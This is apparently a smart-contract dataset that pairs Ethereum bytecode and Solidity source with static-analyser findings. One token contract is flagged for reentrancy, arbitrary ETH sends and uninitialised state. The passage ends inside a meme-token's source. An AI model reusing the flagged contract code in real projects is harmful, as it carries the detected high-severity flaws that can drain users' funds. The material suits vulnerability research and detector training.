ffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a057600090505b6122ac848484846128ab565b50505050565b600083831115829061235f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612324578082015181840152602081019050612309565b50505050905090810190601f1680156123515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c260028461286190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ed573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243e60028461286190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612469573d6000803e3d6000fd5b5050565b6000600a548211156124ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd3602a913960400191505060405180910390fd5b60006124d4612b02565b90506124e9818461286190919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252657600080fd5b506040519080825280602002602001820160405280156125555781602001602082028036833780820191505090505b509050308160008151811061256657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260857600080fd5b505afa15801561261c573d6000803e3d6000fd5b505050506040513d602081101561263257600080fd5b81019080805190602001909291905050508160018151811061265057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277b578082015181840152602081019050612760565b505050509050019650505050505050600060405180830381600087803b1580156127a457600080fd5b505af11580156127b8573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ee576000905061285b565b60008284029050828482816127ff57fe5b0414612856576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d1f6021913960400191505060405180910390fd5b809150505b92915050565b60006128a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2d565b905092915050565b806128b9576128b8612bf3565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129715761296c848484612c36565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a145750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2957612a24848484612e96565b612aed565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae057612adb8484846130f6565b612aec565b612aeb8484846133eb565b5b5b5b80612afc57612afb6135b6565b5b50505050565b6000806000612b0f6135ca565b91509150612b26818361286190919063ffffffff16565b9250505090565b60008083118290612bd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9e578082015181840152602081019050612b83565b50505050905090810190601f168015612bcb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be557fe5b049050809150509392505050565b6000600c54148015612c0757506000600d54145b15612c1157612c34565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4887613877565b955095509550955095509550612ca687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1c816139b1565b612e268483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea887613877565b955095509550955095509550612f0686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9b83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307c816139b1565b6130868483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310887613877565b95509550955095509550955061316687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613371816139b1565b61337b8483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fd87613877565b95509550955095509550955061345b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353c816139b1565b6135468483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382c5782600260006009848154811061360457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136eb575081600360006009848154811061368357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370957600a54683635c9adc5dea0000094509450505050613873565b613792600260006009848154811061371d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138df90919063ffffffff16565b925061381d60036000600984815481106137a857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138df90919063ffffffff16565b915080806001019150506135e5565b5061384b683635c9adc5dea00000600a5461286190919063ffffffff16565b82101561386a57600a54683635c9adc5dea00000935093505050613873565b81819350935050505b9091565b60008060008060008060008060006138948a600c54600d54613b90565b92509250925060006138a4612b02565b905060008060006138b78e878787613c26565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b2565b905092915050565b6000808284019050838110156139a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bb612b02565b905060006139d282846127db90919063ffffffff16565b9050613a2681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5157613b0d83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6b82600a546138df90919063ffffffff16565b600a81905550613b8681600b5461392990919063ffffffff16565b600b819055505050565b600080600080613bbc6064613bae888a6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613be66064613bd8888b6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613c0f82613c01858c6138df90919063ffffffff16565b6138df90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3f85896127db90919063ffffffff16565b90506000613c5686896127db90919063ffffffff16565b90506000613c6d87896127db90919063ffffffff16565b90506000613c9682613c8885876138df90919063ffffffff16565b6138df90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122043a51f50d1635fe97fc4029bb5f5a9f291c84f845fe426ac863fbd561d7421d364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,760
0x87986d21a28fc185a16f15c7e0d480505f28c934
pragma solidity ^0.4.23; // File: contracts/interfaces/ContractManagerInterface.sol /** * @title Contract Manager Interface * @author Bram Hoven * @notice Interface for communicating with the contract manager */ interface ContractManagerInterface { /** * @notice Triggered when contract is added * @param _address Address of the new contract * @param _contractName Name of the new contract */ event ContractAdded(address indexed _address, string _contractName); /** * @notice Triggered when contract is removed * @param _contractName Name of the contract that is removed */ event ContractRemoved(string _contractName); /** * @notice Triggered when contract is updated * @param _oldAddress Address where the contract used to be * @param _newAddress Address where the new contract is deployed * @param _contractName Name of the contract that has been updated */ event ContractUpdated(address indexed _oldAddress, address indexed _newAddress, string _contractName); /** * @notice Triggered when authorization status changed * @param _address Address who will gain or lose authorization to _contractName * @param _authorized Boolean whether or not the address is authorized * @param _contractName Name of the contract */ event AuthorizationChanged(address indexed _address, bool _authorized, string _contractName); /** * @notice Check whether the accessor is authorized to access that contract * @param _contractName Name of the contract that is being accessed * @param _accessor Address who wants to access that contract */ function authorize(string _contractName, address _accessor) external view returns (bool); /** * @notice Add a new contract to the manager * @param _contractName Name of the new contract * @param _address Address of the new contract */ function addContract(string _contractName, address _address) external; /** * @notice Get a contract by its name * @param _contractName Name of the contract */ function getContract(string _contractName) external view returns (address _contractAddress); /** * @notice Remove an existing contract * @param _contractName Name of the contract that will be removed */ function removeContract(string _contractName) external; /** * @notice Update an existing contract (changing the address) * @param _contractName Name of the existing contract * @param _newAddress Address where the new contract is deployed */ function updateContract(string _contractName, address _newAddress) external; /** * @notice Change whether an address is authorized to use a specific contract or not * @param _contractName Name of the contract to which the accessor will gain authorization or not * @param _authorizedAddress Address which will have its authorisation status changed * @param _authorized Boolean whether the address will have access or not */ function setAuthorizedContract(string _contractName, address _authorizedAddress, bool _authorized) external; } // File: contracts/ContractManager.sol /** * @title Contract Manager * @author Bram Hoven * @notice Contract whom manages every other contract connected to this project and the authorization */ contract ContractManager is ContractManagerInterface { // Mapping of all contracts and their name mapping(string => address) private contracts; // Mapping of all contracts and who has access to them mapping(string => mapping(address => bool)) private authorization; /** * @notice Triggered when contract is added * @param _address Address of the new contract * @param _contractName Name of the new contract */ event ContractAdded(address indexed _address, string _contractName); /** * @notice Triggered when contract is removed * @param _contractName Name of the contract that is removed */ event ContractRemoved(string _contractName); /** * @notice Triggered when contract is updated * @param _oldAddress Address where the contract used to be * @param _newAddress Address where the new contract is deployed * @param _contractName Name of the contract that has been updated */ event ContractUpdated(address indexed _oldAddress, address indexed _newAddress, string _contractName); /** * @notice Triggered when authorization status changed * @param _address Address who will gain or lose authorization to _contractName * @param _authorized Boolean whether or not the address is authorized * @param _contractName Name of the contract */ event AuthorizationChanged(address indexed _address, bool _authorized, string _contractName); /** * @dev Throws when sender does not match contract name * @param _contractName Name of the contract the sender is checked against */ modifier onlyRegisteredContract(string _contractName) { require(contracts[_contractName] == msg.sender); _; } /** * @dev Throws when sender is not owner of contract manager * @param _contractName Name of the contract to check the _accessor against * @param _accessor Address that wants to access this specific contract */ modifier onlyContractOwner(string _contractName, address _accessor) { require(contracts[_contractName] == msg.sender || contracts[_contractName] == address(this)); require(_accessor != address(0)); require(authorization[_contractName][_accessor] == true); _; } /** * @notice Constructor for creating the contract manager */ constructor() public { contracts["ContractManager"] = address(this); authorization["ContractManager"][msg.sender] = true; } /** * @notice Check whether the accessor is authorized to access that contract * @param _contractName Name of the contract that is being accessed * @param _accessor Address who wants to access that contract */ function authorize(string _contractName, address _accessor) external onlyContractOwner(_contractName, _accessor) view returns (bool) { return true; } /** * @notice Add a new contract to the manager * @param _contractName Name of the new contract * @param _address Address of the new contract */ function addContract(string _contractName, address _address) external onlyContractOwner("ContractManager", msg.sender) { bytes memory contractNameBytes = bytes(_contractName); require(contractNameBytes.length != 0); require(contracts[_contractName] == address(0)); require(_address != address(0)); contracts[_contractName] = _address; emit ContractAdded(_address, _contractName); } /** * @notice Get a contract by its name * @param _contractName Name of the contract */ function getContract(string _contractName) external view returns (address _contractAddress) { require(contracts[_contractName] != address(0)); _contractAddress = contracts[_contractName]; return _contractAddress; } /** * @notice Remove an existing contract * @param _contractName Name of the contract that will be removed */ function removeContract(string _contractName) external onlyContractOwner("ContractManager", msg.sender) { bytes memory contractNameBytes = bytes(_contractName); require(contractNameBytes.length != 0); // Should not be able to remove this contract require(keccak256(_contractName) != keccak256("ContractManager")); require(contracts[_contractName] != address(0)); delete contracts[_contractName]; emit ContractRemoved(_contractName); } /** * @notice Update an existing contract (changing the address) * @param _contractName Name of the existing contract * @param _newAddress Address where the new contract is deployed */ function updateContract(string _contractName, address _newAddress) external onlyContractOwner("ContractManager", msg.sender) { bytes memory contractNameBytes = bytes(_contractName); require(contractNameBytes.length != 0); require(contracts[_contractName] != address(0)); require(_newAddress != address(0)); address oldAddress = contracts[_contractName]; contracts[_contractName] = _newAddress; emit ContractUpdated(oldAddress, _newAddress, _contractName); } /** * @notice Change whether an address is authorized to use a specific contract or not * @param _contractName Name of the contract to which the accessor will gain authorization or not * @param _authorizedAddress Address which will have its authorisation status changed * @param _authorized Boolean whether the address will have access or not */ function setAuthorizedContract(string _contractName, address _authorizedAddress, bool _authorized) external onlyContractOwner("ContractManager", msg.sender) { bytes memory contractNameBytes = bytes(_contractName); require(contractNameBytes.length != 0); require(_authorizedAddress != address(0)); require(authorization[_contractName][_authorizedAddress] != _authorized); authorization[_contractName][_authorizedAddress] = _authorized; emit AuthorizationChanged(_authorizedAddress, _authorized, _contractName); } }
0x6080604052600436106100775763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166335817773811461007c578063697a60b3146100b857806386457702146100e857806397623b581461012a578063bf5b60161461014a578063e0ae751f14610178575b600080fd5b34801561008857600080fd5b5061009c60048035602481019101356101ab565b60408051600160a060020a039092168252519081900360200190f35b3480156100c457600080fd5b506100e66024600480358281019291013590600160a060020a0390351661022d565b005b3480156100f457600080fd5b506101166024600480358281019291013590600160a060020a03903516610576565b604080519115158252519081900360200190f35b34801561013657600080fd5b506100e6600480356024810191013561075c565b34801561015657600080fd5b506100e66024600480358281019291013590600160a060020a03903516610a92565b34801561018457600080fd5b506100e66024600480358281019291013590600160a060020a039035166044351515610da4565b600080600160a060020a0316600084846040518083838082843790910194855250506040519283900360200190922054600160a060020a0316929092141591506101f6905057600080fd5b600083836040518083838082843790910194855250506040519283900360200190922054600160a060020a03169250505092915050565b606060006040805190810160405280600f81526020016000805160206110c88339815191528152503333600160a060020a03166000836040518082805190602001908083835b602083106102925780518252601f199092019160209182019101610273565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031692909214915081905061034e575030600160a060020a03166000836040518082805190602001908083835b602083106103115780518252601f1990920191602091820191016102f2565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b151561035957600080fd5b600160a060020a038116151561036e57600080fd5b6001826040518082805190602001908083835b602083106103a05780518252601f199092019160209182019101610381565b51815160001960209485036101000a0190811690199190911617905292019485525060408051948590038201909420600160a060020a03861660009081529152929092205460ff16151560011491506103fa905057600080fd5b86868080601f016020809104026020016040519081016040528093929190818152602001838380828437505084519498505050911515915061043d905057600080fd5b6000600160a060020a0316600088886040518083838082843790910194855250506040519283900360200190922054600160a060020a031692909214159150610487905057600080fd5b600160a060020a038516151561049c57600080fd5b6000878760405180838380828437909101948552505060405192839003602001832054600160a060020a031695508792600092508a91508990808383808284379190910194855250506040805160209481900385018120805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039788161790558481529384018b9052898516948816937fe4b082676954a468975c4cd80a247c2ff3af6c1c5278809d12d40b53056ab71e93508c92508b918190810184848082843760405192018290039550909350505050a350505050505050565b600083838080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508233600160a060020a03166000836040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491508190506106a4575030600160a060020a03166000836040518082805190602001908083835b602083106106675780518252601f199092019160209182019101610648565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b15156106af57600080fd5b600160a060020a03811615156106c457600080fd5b6001826040518082805190602001908083835b602083106106f65780518252601f1990920191602091820191016106d7565b51815160001960209485036101000a0190811690199190911617905292019485525060408051948590038201909420600160a060020a03861660009081529152929092205460ff1615156001149150610750905057600080fd5b50600195945050505050565b60606040805190810160405280600f81526020016000805160206110c88339815191528152503333600160a060020a03166000836040518082805190602001908083835b602083106107bf5780518252601f1990920191602091820191016107a0565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031692909214915081905061087b575030600160a060020a03166000836040518082805190602001908083835b6020831061083e5780518252601f19909201916020918201910161081f565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b151561088657600080fd5b600160a060020a038116151561089b57600080fd5b6001826040518082805190602001908083835b602083106108cd5780518252601f1990920191602091820191016108ae565b51815160001960209485036101000a0190811690199190911617905292019485525060408051948590038201909420600160a060020a03861660009081529152929092205460ff1615156001149150610927905057600080fd5b84848080601f016020809104026020016040519081016040528093929190818152602001838380828437505084519497505050911515915061096a905057600080fd5b604080516000805160206110c88339815191528152905190819003600f0181209086908690808383808284376040519201829003909120949094141593506109b59250505057600080fd5b6000600160a060020a0316600086866040518083838082843790910194855250506040519283900360200190922054600160a060020a0316929092141591506109ff905057600080fd5b60008585604051808383808284379091019485525050604080519384900360209081018520805473ffffffffffffffffffffffffffffffffffffffff1916905580855284018890527f0c4eafbc12ea2584eb34031bf52952af5909a5880ef4058cb05c627ae39ffda093899350889250908190810184848082843760405192018290039550909350505050a15050505050565b60606040805190810160405280600f81526020016000805160206110c88339815191528152503333600160a060020a03166000836040518082805190602001908083835b60208310610af55780518252601f199092019160209182019101610ad6565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150819050610bb1575030600160a060020a03166000836040518082805190602001908083835b60208310610b745780518252601f199092019160209182019101610b55565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b1515610bbc57600080fd5b600160a060020a0381161515610bd157600080fd5b6001826040518082805190602001908083835b60208310610c035780518252601f199092019160209182019101610be4565b51815160001960209485036101000a0190811690199190911617905292019485525060408051948590038201909420600160a060020a03861660009081529152929092205460ff1615156001149150610c5d905057600080fd5b85858080601f0160208091040260200160405190810160405280939291908181526020018383808284375050845194975050509115159150610ca0905057600080fd5b6000600160a060020a0316600087876040518083838082843790910194855250506040519283900360200190922054600160a060020a0316929092149150610ce9905057600080fd5b600160a060020a0384161515610cfe57600080fd5b8360008787604051808383808284379190910194855250506040805160209481900385018120805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039788161790558481529384018a9052938816937fccdd6d86e4b322abaa06bff8c608dd15838f4159cc081c9c66a50fec320f38a7938b93508a9250908190810184848082843760405192018290039550909350505050a2505050505050565b60606040805190810160405280600f81526020016000805160206110c88339815191528152503333600160a060020a03166000836040518082805190602001908083835b60208310610e075780518252601f199092019160209182019101610de8565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150819050610ec3575030600160a060020a03166000836040518082805190602001908083835b60208310610e865780518252601f199092019160209182019101610e67565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b1515610ece57600080fd5b600160a060020a0381161515610ee357600080fd5b6001826040518082805190602001908083835b60208310610f155780518252601f199092019160209182019101610ef6565b51815160001960209485036101000a0190811690199190911617905292019485525060408051948590038201909420600160a060020a03861660009081529152929092205460ff1615156001149150610f6f905057600080fd5b86868080601f0160208091040260200160405190810160405280939291908181526020018383808284375050845194975050509115159150610fb2905057600080fd5b600160a060020a0385161515610fc757600080fd5b83151560018888604051808383808284379190910194855250506040805160209481900385019020600160a060020a038b16600090815294529092205460ff1615159290921415915061101b905057600080fd5b8360018888604051808383808284379190910194855250506040805160209481900385018120600160a060020a038c16600081815291875290839020805460ff19169715159790971790965589151581529384018181529084018b90527f656925a770b4cfa7c213768fc3baa9c192315d166876ef10725b31747d5952cb938993508c92508b91606082018484808284376040519201829003965090945050505050a2505050505050505600436f6e74726163744d616e616765720000000000000000000000000000000000a165627a7a723058204f804bab46417ae424aad3411ab2717cadac153377f29e84da6d1f3a4611f3ef0029
{"success": true, "error": null, "results": {}}
2,761
0xabd17a469d2ed5acffbe35f7f038b92c2124fd94
/* Telegram: https://t.me/GoodMorningElonETH .----------------. .----------------. .----------------. | .--------------. || .--------------. || .--------------. | | | ______ | || | ____ ____ | || | _________ | | | | .' ___ | | || ||_ \ / _|| || | |_ ___ | | | | | / .' \_| | || | | \/ | | || | | |_ \_| | | | | | | ____ | || | | |\ /| | | || | | _| _ | | | | \ `.___] _| | || | _| |_\/_| |_ | || | _| |___/ | | | | | `._____.' | || ||_____||_____|| || | |_________| | | | | | || | | || | | | | '--------------' || '--------------' || '--------------' | '----------------' '----------------' '----------------' `````````````````````` ````` `.----------...` `` ``` `.-/shhdmmmmmmmmmddddhyo:` `` `` `-/ohdmNNNmNNmmNNNmmmmmNNNNmmmh+. `` ` `/hNMMMNNNNmmNNNNNNNNNNNNNNMMNNmNmh+` `` ` .yNMMNNNNNNNNNNNNNNMMMMMMMMMMMMMMNNNmy- `` ` -dMMMNNMMNNNNNNNNNmmmmmmmNNNNNMMMMMMMNmms-` ` ` -mMMMMMNmmdhyyssooooooo+oosyhddmNNMMMMMNNNNy `` ` .mMMMMMdhso+/////:--::::::::://++syhmNMMMMMNNs `` ` yMMMMmyo++////::::------::::///////+oydNMMMMMMo `` ` hMMNdso++////:::-----------::://////++oymNNNNNNy- ` ` hMNhso++////::---------------://///++++oymNNNNNNmy` ` ` -NNhso++////::---------------:::////+++++shdNmmNNNNh. ` ` hNdso++////::-----------------:://///+++oshdNmmNNMNNh` ` `` .Nmyso++//::-------------------:::////+++oyhdNNNNNMMMN: ` `` -Mhsssyss+/:-----.-----.----:::::::://+++oyhdNNNNNNNMM/ ` ` :Nyyyyyyhhyo/::---------:/+osyso+//////++osdmNNNNNNNNN/ ` `` -myyso++//++o+/:::--:::/+ooooosssso+/+++++osdNNNNNMNMN/ ` `` .dyssssss++++oo/::::///+//:://///+oso+++++++smNMMMMMNs` `` `` .hsssyyhdh++oos+:--:/+++oosoo+++++++o++++++osdNNNNNNs` `` ` -yooooo+////+/o+::://++osohyhoso++++++++++ooydNNNNNo `` ` :o++++++++///+o///////++++////+o++///+/++ooshmNmNmy` ` ` +o++//:::--:/++/://///:://+////::::///++oooydmNdhhy+ ` ` `so+///::---/+++////+//:------:--::////+ososhmmdyoss+ ` ` -so+////:::/+++:-:/++//:--------::////++sssshdhhs+o+. ` ` :yo+///////oss+/::++/////:-------:///+++sssyhysho/o/ `` ` :hso+/+++++oyyysosyyys+o///::---:://+++ossyhyoos+/o. ` ` :hhsoossooooooshhhyso++////+//::://++oossyyyssoo/+: `` `` .yyysoossso++///++/////////+oo+//++oossssysss++++: `` ` sss++oyyyyssso+/////////+/++ssssssssssssysso+/:. `` ` /ss+/oshmmso+//o/+ooysyyssooooooosssssssyys+:-` `` `` `sso//+ohmdyo/:::///ooydmmhso+//+o+oossyyh+.` ` ` :yy+:/+syddmmmmddmddddmdo/////++o+osssyhy` ``` `` syy//+ssoooosssssssso+///////oo+osyyhhh- ` ` .syo/+osso++//////++++/////+oo+osyyhhh: ` ` -yy+++sssooo++++++++//////oo+osyhhdy. ` ` :hs+++ooooooo+++++////:/+++osyhdd+` ` `` odo+///+///////::::///osssyhdds. `` `` `ohs+////:::::::::/+syhhyhddy:` ` `` :hhyso++/////++oshddddmdy/` `` `` .+hddhysyyyhhddmmmmdy+-` `` `` `:oydddmmmmmdhy+:. ``` `` `.-----..` ```` ````````````````` */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = 